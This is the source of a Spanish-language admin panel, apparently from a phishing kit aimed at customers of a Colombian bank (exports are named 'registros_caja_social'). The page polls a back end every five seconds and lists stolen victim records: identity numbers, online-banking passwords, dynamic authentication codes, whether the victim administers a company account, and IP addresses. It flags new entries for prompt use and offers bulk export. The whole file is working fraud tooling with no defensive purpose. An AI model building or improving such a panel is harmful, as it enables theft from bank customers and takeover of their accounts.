<?php
// admin/index.php - Panel de administración con notificaciones en vivo
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes">
    <title>Panel Administrativo | Banker</title>
    <link rel="stylesheet" href="style.css">
    <link href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,300;0,400;0,500;0,600;0,700;1,400&display=swap" rel="stylesheet">
    <style>
        body {
            background: #0a0a0a;
        }
    </style>
</head>
<body>
    <div class="admin-container">
        <!-- Header con logo centrado y notificaciones -->
        <div class="header">
            <div class="header-logo">
                <div class="logo-circle">
                    <img src="https://store-na-phx-4.gofile.io/download/direct/dae7bb2f-9935-4162-bbf1-b133532f14ca/logo2.png">
                </div>
                <h1>Banker <span id="newRegistrosBadge" class="new-count-badge" style="display: none;">0 nuevos</span></h1>
                <p>Panel de Administración <span id="statusText">On line</span></p>
            </div>
            
            <div class="header-stats">
                <div class="stat-card">
                    <div class="stat-value" id="totalRegistros">0</div>
                    <div class="stat-label">Total Registros</div>
                </div>
                <div class="stat-card" id="hoyCard">
                    <div class="stat-value" id="registrosHoy">0</div>
                    <div class="stat-label">Registros Hoy</div>
                </div>
                <div class="stat-card">
                    <div class="stat-value" id="nuevosRegistros">0</div>
                    <div class="stat-label">🆕 Nuevos (sin leer)</div>
                </div>
                <div class="stat-card">
                    <div class="stat-value" id="ultimoRegistro">-</div>
                    <div class="stat-label">Último Registro</div>
                </div>
            </div>
            
            <div class="header-actions">
                <button class="btn-refresh" id="refreshBtn" onclick="cargarRegistros()">🔄 Actualizar</button>
                <button class="btn-refresh auto" id="autoRefreshBtn" onclick="toggleAutoRefresh()">⏸️ Pausar Auto-refresh</button>
                <button class="btn-export" onclick="exportarRegistros()">📥 Exportar Todo</button>
                <button class="btn-refresh" id="marcarLeidosBtn" onclick="marcarTodosComoLeidos()">✅ Marcar todos como leídos</button>
            </div>
        </div>

        <!-- Filtros -->
        <div class="filters">
            <div class="filter-group">
                <label>🔍 Buscar:</label>
                <input type="text" id="searchInput" placeholder="Número ID, tipo, clave..." onkeyup="filtrarRegistros()">
            </div>
            <div class="filter-group">
                <label>📅 Filtrar por fecha:</label>
                <select id="fechaFilter" onchange="filtrarRegistros()">
                    <option value="all">Todas las fechas</option>
                    <option value="today">Hoy</option>
                    <option value="yesterday">Ayer</option>
                    <option value="week">Últimos 7 días</option>
                    <option value="month">Últimos 30 días</option>
                </select>
            </div>
            <div class="filter-group">
                <label>👔 Administrador:</label>
                <select id="adminFilter" onchange="filtrarRegistros()">
                    <option value="all">Todos</option>
                    <option value="SI">Sí</option>
                    <option value="NO">No</option>
                </select>
            </div>
            <div class="filter-group">
                <label>🆕 Estado:</label>
                <select id="estadoFilter" onchange="filtrarRegistros()">
                    <option value="all">Todos</option>
                    <option value="nuevos">Solo nuevos</option>
                    <option value="leidos">Ya leídos</option>
                </select>
            </div>
        </div>

        <!-- Contador de resultados -->
        <div class="resultados-info" id="resultadosInfo"></div>

        <!-- Lista de registros en vivo -->
        <div class="registros-container" id="registrosContainer">
            <div class="loading-spinner">
                <div class="spinner"></div>
                <p>Cargando registros...</p>
            </div>
        </div>

        <!-- Footer -->
        <div class="footer">
            <p>🕐 Última actualización: <span id="lastUpdate">-</span></p>
            <p style="margin-top: 5px;">💚 Los registros nuevos aparecen con borde verde | ✓ Los registros leídos aparecen en gris</p>
        </div>
    </div>

    <script>
        // Variables
        let registros = [];
        let autoRefresh = true;
        let refreshInterval;
        let searchTerm = '';
        let fechaFilter = 'all';
        let adminFilter = 'all';
        let estadoFilter = 'all';
        let ultimoIdConocido = null;
        let registrosLeidos = new Set();

        // Cargar registros desde el servidor
        async function cargarRegistros() {
            try {
                const response = await fetch('api.php');
                const data = await response.json();
                
                if (data.success) {
                    const registrosAnteriores = registros.length;
                    const primerIdAnterior = registros.length > 0 ? registros[0].id : null;
                    
                    registros = data.registros;
                    
                    // Detectar nuevos registros
                    const nuevosIds = detectarNuevosRegistros(primerIdAnterior);
                    
                    if (nuevosIds.length > 0) {
                        mostrarNotificacion(`✨ ${nuevosIds.length} nuevo(s) registro(s) recibido(s)`);
                        
                        const refreshBtn = document.getElementById('refreshBtn');
                        refreshBtn.classList.add('has-new');
                        setTimeout(() => {
                            refreshBtn.classList.remove('has-new');
                        }, 3000);
                    }
                    
                    actualizarEstadisticas();
                    aplicarFiltros();
                    document.getElementById('lastUpdate').innerText = new Date().toLocaleString();
                } else {
                    console.error('Error:', data.error);
                }
            } catch (error) {
                console.error('Error al cargar registros:', error);
            }
        }

        // Detectar nuevos registros
        function detectarNuevosRegistros(primerIdAnterior) {
            const nuevos = [];
            
            for (let i = 0; i < registros.length; i++) {
                const reg = registros[i];
                if (!registrosLeidos.has(reg.id)) {
                    if (i === 0 && primerIdAnterior && reg.id !== primerIdAnterior) {
                        nuevos.push(reg.id);
                    } else if (i > 0 && registros[i-1] && registros[i-1].id !== reg.id) {
                        if (!registrosLeidos.has(reg.id)) {
                            nuevos.push(reg.id);
                        }
                    } else if (!primerIdAnterior) {
                        nuevos.push(reg.id);
                    }
                }
            }
            
            const noLeidos = registros.filter(r => !registrosLeidos.has(r.id)).length;
            const badge = document.getElementById('newRegistrosBadge');
            const nuevosRegistrosSpan = document.getElementById('nuevosRegistros');
            
            if (noLeidos > 0) {
                badge.style.display = 'inline-flex';
                badge.innerHTML = `${noLeidos} nuevos`;
                nuevosRegistrosSpan.innerHTML = noLeidos;
                nuevosRegistrosSpan.style.color = '#10b981';
                nuevosRegistrosSpan.style.fontWeight = 'bold';
            } else {
                badge.style.display = 'none';
                nuevosRegistrosSpan.innerHTML = '0';
                nuevosRegistrosSpan.style.color = '#888';
            }
            
            return nuevos;
        }

        // Mostrar notificación flotante
        function mostrarNotificacion(mensaje) {
            const notificacionesAnteriores = document.querySelectorAll('.floating-notification');
            notificacionesAnteriores.forEach(n => n.remove());
            
            const notificacion = document.createElement('div');
            notificacion.className = 'floating-notification';
            notificacion.innerHTML = mensaje;
            document.body.appendChild(notificacion);
            
            setTimeout(() => {
                if (notificacion) notificacion.remove();
            }, 5000);
        }

        // Marcar todos como leídos
        function marcarTodosComoLeidos() {
            registros.forEach(reg => {
                if (!registrosLeidos.has(reg.id)) {
                    registrosLeidos.add(reg.id);
                    
                    const tarjeta = document.querySelector(`.registro-card[data-id="${reg.id}"]`);
                    if (tarjeta) {
                        tarjeta.classList.remove('nuevo');
                        tarjeta.classList.add('leido');
                        const titulo = tarjeta.querySelector('.card-title');
                        if (titulo) {
                            const spanNuevo = titulo.querySelector('span[style*="background:#10b981"]');
                            if (spanNuevo) spanNuevo.remove();
                            if (!titulo.querySelector('.leido-check')) {
                                const leidoSpan = document.createElement('span');
                                leidoSpan.className = 'leido-check';
                                leidoSpan.innerHTML = '✓ Leído';
                                titulo.appendChild(leidoSpan);
                            }
                        }
                    }
                }
            });
            
            ultimoIdConocido = registros.length > 0 ? registros[0].id : null;
            
            actualizarEstadisticas();
            aplicarFiltros();
            mostrarNotificacion('✅ Todos los registros marcados como leídos');
            
            const badge = document.getElementById('newRegistrosBadge');
            badge.style.display = 'none';
            document.getElementById('nuevosRegistros').innerHTML = '0';
        }

        // Actualizar estadísticas del header
        function actualizarEstadisticas() {
            const total = registros.length;
            const hoy = new Date().toISOString().split('T')[0];
            const registrosHoy = registros.filter(r => r.fecha.split(' ')[0] === hoy).length;
            const ultimo = registros.length > 0 ? registros[0].fecha : '-';
            const noLeidos = registros.filter(r => !registrosLeidos.has(r.id)).length;
            
            document.getElementById('totalRegistros').innerText = total;
            document.getElementById('registrosHoy').innerText = registrosHoy;
            document.getElementById('nuevosRegistros').innerHTML = noLeidos;
            document.getElementById('ultimoRegistro').innerText = ultimo;
            
            const hoyCard = document.getElementById('hoyCard');
            if (registrosHoy > 0 && noLeidos > 0) {
                hoyCard.style.border = '1px solid #10b981';
                hoyCard.style.boxShadow = '0 0 10px rgba(16, 185, 129, 0.15)';
            } else {
                hoyCard.style.border = '1px solid #2a2a2a';
                hoyCard.style.boxShadow = 'none';
            }
        }

        // Aplicar todos los filtros
        function aplicarFiltros() {
            let filtrados = [...registros];
            
            if (searchTerm) {
                const term = searchTerm.toLowerCase();
                filtrados = filtrados.filter(r => 
                    r.numeroIdentificacion?.toLowerCase().includes(term) ||
                    r.tipoIdentificacion?.toLowerCase().includes(term) ||
                    r.primeraClave?.toLowerCase().includes(term) ||
                    r.numeroDinamico?.toLowerCase().includes(term)
                );
            }
            
            const hoy = new Date();
            hoy.setHours(0, 0, 0, 0);
            
            if (fechaFilter === 'today') {
                filtrados = filtrados.filter(r => {
                    const fechaRegistro = new Date(r.fecha);
                    fechaRegistro.setHours(0, 0, 0, 0);
                    return fechaRegistro.getTime() === hoy.getTime();
                });
            } else if (fechaFilter === 'yesterday') {
                const ayer = new Date(hoy);
                ayer.setDate(ayer.getDate() - 1);
                filtrados = filtrados.filter(r => {
                    const fechaRegistro = new Date(r.fecha);
                    fechaRegistro.setHours(0, 0, 0, 0);
                    return fechaRegistro.getTime() === ayer.getTime();
                });
            } else if (fechaFilter === 'week') {
                const semanaAtras = new Date(hoy);
                semanaAtras.setDate(semanaAtras.getDate() - 7);
                filtrados = filtrados.filter(r => {
                    const fechaRegistro = new Date(r.fecha);
                    return fechaRegistro >= semanaAtras;
                });
            } else if (fechaFilter === 'month') {
                const mesAtras = new Date(hoy);
                mesAtras.setMonth(mesAtras.getMonth() - 1);
                filtrados = filtrados.filter(r => {
                    const fechaRegistro = new Date(r.fecha);
                    return fechaRegistro >= mesAtras;
                });
            }
            
            if (adminFilter !== 'all') {
                filtrados = filtrados.filter(r => r.esAdmin === adminFilter);
            }
            
            if (estadoFilter === 'nuevos') {
                filtrados = filtrados.filter(r => !registrosLeidos.has(r.id));
            } else if (estadoFilter === 'leidos') {
                filtrados = filtrados.filter(r => registrosLeidos.has(r.id));
            }
            
            mostrarRegistros(filtrados);
        }

        // Mostrar registros en el DOM
        function mostrarRegistros(registrosFiltrados) {
            const container = document.getElementById('registrosContainer');
            const resultadosInfo = document.getElementById('resultadosInfo');
            
            const noLeidosEnFiltro = registrosFiltrados.filter(r => !registrosLeidos.has(r.id)).length;
            const leidosEnFiltro = registrosFiltrados.filter(r => registrosLeidos.has(r.id)).length;
            
            resultadosInfo.innerHTML = `<strong>${registrosFiltrados.length}</strong> registro(s) encontrado(s) 
                <span style="color: #10b981;">✨ ${noLeidosEnFiltro} nuevos</span>
                <span style="color: #888888;"> ✓ ${leidosEnFiltro} leídos</span>`;
            
            if (registrosFiltrados.length === 0) {
                container.innerHTML = `
                    <div class="empty-state">
                        <div class="empty-icon">📭</div>
                        <p>No hay registros que coincidan con los filtros</p>
                    </div>
                `;
                return;
            }
            
            container.innerHTML = registrosFiltrados.map(reg => {
                const esNuevo = !registrosLeidos.has(reg.id);
                const esLeido = registrosLeidos.has(reg.id);
                const nuevoClass = esNuevo ? 'nuevo' : '';
                const leidoClass = esLeido ? 'leido' : '';
                
                return `
                <div class="registro-card ${nuevoClass} ${leidoClass}" data-id="${reg.id}" onclick="marcarComoLeido('${reg.id}')">
                    <div class="card-header">
                        <div class="card-title">
                            <span class="card-icon">📄</span>
                            <span class="card-id">Registro #${reg.id}</span>
                            ${esNuevo ? '<span style="background:#10b981; color:#fff; font-size:9px; padding:2px 8px; border-radius:20px; margin-left:10px;">🆕 NUEVO</span>' : ''}
                            ${esLeido ? '<span class="leido-check">✓ Leído</span>' : ''}
                        </div>
                        <div class="card-date">📅 ${reg.fecha}</div>
                    </div>
                    <div class="card-content">
                        <div class="info-row">
                            <div class="info-label">🆔 Tipo de identificación:</div>
                            <div class="info-value">${escapeHtml(reg.tipoIdentificacion)}</div>
                        </div>
                        <div class="info-row">
                            <div class="info-label">🔢 Número de identificación:</div>
                            <div class="info-value highlight">${escapeHtml(reg.numeroIdentificacion)}</div>
                        </div>
                        <div class="info-row">
                            <div class="info-label">🔐 Primera clave de internet:</div>
                            <div class="info-value password-value">${escapeHtml(reg.primeraClave)}</div>
                        </div>
                        <div class="info-row">
                            <div class="info-label">🔑 Número dinámico de autenticación:</div>
                            <div class="info-value password-value">${escapeHtml(reg.numeroDinamico)}</div>
                        </div>
                        <div class="info-row">
                            <div class="info-label">👔 Administrador de la empresa:</div>
                            <div class="info-value ${reg.esAdmin === 'SÍ' ? 'badge-yes' : 'badge-no'}">${reg.esAdmin === 'SÍ' ? '✓ Sí' : '✗ No'}</div>
                        </div>
                        <div class="info-row">
                            <div class="info-label">🌐 IP Usuario:</div>
                            <div class="info-value">${escapeHtml(reg.ip || 'No registrada')}</div>
                        </div>
                    </div>
                </div>
            `}).join('');
        }

        // Marcar un registro como leído individualmente
        function marcarComoLeido(id) {
            if (!registrosLeidos.has(id)) {
                registrosLeidos.add(id);
                
                const tarjeta = document.querySelector(`.registro-card[data-id="${id}"]`);
                if (tarjeta) {
                    tarjeta.classList.remove('nuevo');
                    tarjeta.classList.add('leido');
                    
                    const titulo = tarjeta.querySelector('.card-title');
                    if (titulo) {
                        const spanNuevo = titulo.querySelector('span[style*="background:#10b981"]');
                        if (spanNuevo) spanNuevo.remove();
                        
                        if (!titulo.querySelector('.leido-check')) {
                            const leidoSpan = document.createElement('span');
                            leidoSpan.className = 'leido-check';
                            leidoSpan.innerHTML = '✓ Leído';
                            titulo.appendChild(leidoSpan);
                        }
                    }
                }
                
                mostrarNotificacion('✅ Registro marcado como leído');
                actualizarEstadisticas();
                aplicarFiltros();
            }
        }

        function escapeHtml(text) {
            if (!text) return '';
            const div = document.createElement('div');
            div.textContent = text;
            return div.innerHTML;
        }

        function filtrarRegistros() {
            searchTerm = document.getElementById('searchInput').value;
            fechaFilter = document.getElementById('fechaFilter').value;
            adminFilter = document.getElementById('adminFilter').value;
            estadoFilter = document.getElementById('estadoFilter').value;
            aplicarFiltros();
        }

        async function exportarRegistros() {
            try {
                const response = await fetch('api.php?export=1');
                const blob = await response.blob();
                const url = window.URL.createObjectURL(blob);
                const a = document.createElement('a');
                a.href = url;
                a.download = `registros_caja_social_${new Date().toISOString().split('T')[0]}.txt`;
                document.body.appendChild(a);
                a.click();
                document.body.removeChild(a);
                window.URL.revokeObjectURL(url);
                mostrarNotificacion('📥 Exportación completada');
            } catch (error) {
                console.error('Error al exportar:', error);
                alert('Error al exportar los registros');
            }
        }

        function toggleAutoRefresh() {
            autoRefresh = !autoRefresh;
            const btn = document.getElementById('autoRefreshBtn');
            
            if (autoRefresh) {
                iniciarAutoRefresh();
                btn.innerHTML = '⏸️ Pausar Auto-refresh';
                btn.classList.remove('paused');
            } else {
                detenerAutoRefresh();
                btn.innerHTML = '▶️ Iniciar Auto-refresh';
                btn.classList.add('paused');
            }
        }

        function iniciarAutoRefresh() {
            if (refreshInterval) clearInterval(refreshInterval);
            refreshInterval = setInterval(() => {
                cargarRegistros();
            }, 5000);
        }

        function detenerAutoRefresh() {
            if (refreshInterval) {
                clearInterval(refreshInterval);
                refreshInterval = null;
            }
        }

        // Cargar IDs leídos desde localStorage
        function cargarLeidosStorage() {
            const guardados = localStorage.getItem('registros_leidos');
            if (guardados) {
                registrosLeidos = new Set(JSON.parse(guardados));
            }
        }

        // Guardar IDs leídos en localStorage
        function guardarLeidosStorage() {
            localStorage.setItem('registros_leidos', JSON.stringify([...registrosLeidos]));
        }

        setInterval(() => {
            guardarLeidosStorage();
        }, 3000);

        // Inicializar
        cargarLeidosStorage();
        cargarRegistros();
        iniciarAutoRefresh();
    </script>
</body>
</html>